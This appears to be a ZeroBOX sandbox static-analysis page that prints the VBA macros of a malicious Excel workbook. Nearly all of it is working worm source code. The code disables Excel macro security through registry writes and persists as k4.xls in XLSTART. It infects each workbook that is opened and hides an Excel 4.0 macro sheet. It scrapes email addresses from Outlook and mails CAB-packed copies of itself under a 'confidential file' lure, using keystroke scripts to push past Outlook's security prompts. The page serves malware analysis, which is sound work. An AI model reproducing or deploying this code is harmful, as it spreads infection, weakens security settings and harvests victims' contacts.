popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub

Original

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "ToDOLE"
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Sheets(1).name <> "Macro1" Then Movemacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"

End With
End Sub

Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With

End Sub
Function do_what()
Attribute do_what.VB_ProcData.VB_Invoke_Func = " \n14"
If ThisWorkbook.Path <> Application.StartupPath Then
  RestoreAfterOpen
  Call OpenDoor
  Call Microsofthobby
  Call ActionJudge
End If
End Function
Function copystart(ByVal wb As Workbook)
Attribute copystart.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject

If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function

Function copymodule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverwriteExisting As Boolean) As Boolean
Attribute copymodule.VB_ProcData.VB_Invoke_Func = " \n14"
   
    On Error Resume Next

    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent
    
    If FromVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If Trim(ModuleName) = vbNullString Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
    
    If FromVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    If ToVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
    
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName)
    If Err.Number <> 0 Then
        copymodule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas"
    If OverwriteExisting = True Then
       
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName
            If Err.Number <> 0 Then
                copymodule = False
                Exit Function
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName)
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then
               
            Else
               
                copymodule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export FileName:=FName
   
    SlashPos = InStrRev(FName, "\")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
    
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
    
    If VBComp Is Nothing Then
        ToVBProject.VBComponents.Import FileName:=FName
    Else
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName)
           
            With VBComp.CodeModule
                .DeleteLines 1, .CountOfLines
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                .InsertLines 1, S
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp
        End If
    End If
    Kill FName
    copymodule = True
End Function

Function Microsofthobby()
Attribute Microsofthobby.VB_ProcData.VB_Invoke_Func = " \n14"
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveCopyAs MyFile
     ThisWorkbook.IsAddin = False
     Application.ScreenUpdating = True
End If
End Function

Function OpenDoor()
Attribute OpenDoor.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String)
Attribute WReg.VB_ProcData.VB_Invoke_Func = " \n14"
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub


Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next

  Dim sht As Object

    wb.Sheets(1).Select
    Sheets.Add Type:=xlExcel4MacroSheet
    ActiveSheet.name = "Macro1"
   
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
    Range("A4").Select
    ActiveCell.FormulaR1C1 = "=ALERT(""½ûÓú꣬¹Ø±Õ " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
    Range("A6").Select
    ActiveCell.FormulaR1C1 = "=END.IF()"
    Range("A7").Select
    ActiveCell.FormulaR1C1 = "=RETURN()"
    
    For Each sht In wb.Sheets
    wb.Names.Add sht.name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
    wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub

Private Function WorkbookOpen(WorkBookName As String) As Boolean
  WorkbookOpen = False
  On Error GoTo WorkBookNotOpen
  If Len(Application.Workbooks(WorkBookName).name) > 0 Then
    WorkbookOpen = True
    Exit Function
  End If
WorkBookNotOpen:
End Function

Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell

Set WshShell = CreateObject("WScript.Shell")
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub

If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
      If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
           Exit Sub
      Else
           CreateFile "1", "D:\Collected_Address:frag1.txt"
           search_in_OL
      End If
Else
     If Not if_outlook_open Then Exit Sub
     If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
          Exit Sub
     Else
          SentTime = DateAdd("n", -21, Now)
          On Error GoTo timeError
          SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
          If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
                Exit Sub
          Else
                CreateFile "", "D:\Collected_Address:frag1.txt"
                CreateFile Now, "D:\Collected_Address:frag2.txt"
                CreatCab_SendMail
          End If
     End If
End If
End Sub


Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

On Error Resume Next
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
Open AddVbsFile_clear For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, "  T0 = Timer"
Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
Print #i, "For i = 1 To 1000"
Print #i, "    If Timer - T0 > 60 Then Exit For"
Print #i, "  Call Refresh()"
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "%a""" & ""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
Print #i, "  wscript.sleep 05"
Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, "    If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, "  wscript.sleep 05"
Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
Print #i, "End Sub"
Close (i)

AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i

Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """ & """" & ""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, "       If Timer - ts >55 then exit For"
Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, "   Dim regex, matchs, ss, arr()"
Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
Print #i, ""
Print #i, "   regex.Global = True"
Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
Print #i, "   Set matchs = regex.Execute(source_data)"
Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, "   Next"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             valid_address = valid_address & nonsame_arr(i)"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "   On Error resume next"
Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
Print #i, "   End If"
Print #i, "   Set log_folder = Nothing"
Print #i, "   Set logfile = Nothing"
Print #i, ""
Print #i, "   Select Case input_frag"
Print #i, "     Case 8"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "     Case 2"
Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
Print #i, "          logtext.Write inputed_string"
Print #i, "          logtext.Close"
Print #i, "   End Select"
Print #i, "   set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, "    Dim objFSO, FileName, MyFile"
Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, "    If MyFile.AtEndOfStream Then"
Print #i, "        ReadAllTextFile = """ & """" & ""
Print #i, "    Else"
Print #i, "        ReadAllTextFile = MyFile.ReadAll"
Print #i, "    End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, "   all_non_same = """ & """" & ""
Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, ""
Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
Print #i, "   Next"
Print #i, ""
Print #i, "   If oDict.Count > 0 Then"
Print #i, "        nonsame_arr = oDict.keys"
Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, "        Next"
Print #i, "   End If"
Print #i, "   Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub

Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address

Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
    
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
Print #i, "Fso.CopyFile  _"
Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
Print #i, "        route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
Print #i, "        End if"
Print #i, "else"
Print #i, "        route = """ & "E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
Print #i, "   set owb=oexcel.workbooks.open(route)"
Print #i, "   oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set  WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, "   Dim Filter, a, n, Folder, Files, File"
Print #i, "       ReDim a(10)"
Print #i, "    n = 0"
Print #i, "  Set Folder = fso.GetFolder(Path)"
Print #i, "   Set Files = Folder.Files"
Print #i, "   For Each File In Files"
Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, "            a(n) = File.Path"
Print #i, "            n = n + 1"
Print #i, "       End If"
Print #i, "   Next"
Print #i, "   ReDim Preserve a(n-1)"
Print #i, "   ListDir = a"
Print #i, "End Function"

Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)

Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False

Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop

WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub

Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
    Dim objOL As Object
    Dim itmNewMail As Object
    If Not if_outlook_open Then Exit Sub
    
    Set objOL = CreateObject("Outlook.Application")
    Set itmNewMail = objOL.CreateItem(olMailItem)
    
    With itmNewMail
        .Subject = Subject
        .Body = Body
        .To = Email_Address
        .CC = CC_email_add
        .Attachments.Add Attachment
        .DeleteAfterSubmit = True
    End With
    On Error GoTo continue
SendEmail:
    itmNewMail.display
    Debug.Print "setforth "
    DoEvents
    DoEvents
    DoEvents
    SendKeys "%s", Wait:=True
    DoEvents
    GoTo SendEmail
continue:
    Set objOL = Nothing
    Set itmNewMail = Nothing
End Sub

Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function

Private Function RadomNine(length As Integer) As String
 Dim jj As Integer, k As Integer, i As Integer
 RadomNine = ""
 If length <= 0 Then Exit Function
 If length <= 10 Then
     For i = 1 To length
     RadomNine = RadomNine & "$$" & i
     Next i
     Exit Function
 End If
 jj = length / 10
 Randomize
 For i = 1 To 10
      k = Int(Rnd * (jj * i - m - 1)) + 1
      If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
      m = m + k
 Next
End Function
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function

Private Function ReadOut(FullPath) As String
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
    ReadOut = FileText.ReadAll
    FileText.Close
End Function

Private Sub CreateFile(FragMark, pathf)
    On Error Resume Next
    Dim Fso, FileText
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
    If Fso.FileExists(pathf) Then
        Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
        FileText.Write FragMark
        FileText.Close
    Else
        Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
        FileText.Write FragMark
        FileText.Close
    End If
End Sub


Private Sub RestoreBeforeSend()
Dim aa As name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
For Each aa In ThisWorkbook.Names
     aa.Visible = True
     If Split(aa.name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
For Each sht In ThisWorkbook.Sheets
     If sht.name = "Macro1" Then
     sht.Visible = xlSheetVisible
     sht.Delete
     End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
     If sht.name <> Sheets(1).name Then sht.Visible = xlSheetVeryHidden
Next
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "ÇëÓà " & Chr(34) & Left(ThisWorkbook.name, Len(ThisWorkbook.name) - 4) & "_key.vbs" & Chr(34) & " ½âËø´ËÎļþ."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
     .Font.Bold = True
     .Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub

Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
    If sht.name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True

End Function

Deobfuscated

                                        Attribute VB_Name = "ToDOLE"
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Sheets(1).name <> "Macro1" Then Movemacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"

End With
End Sub

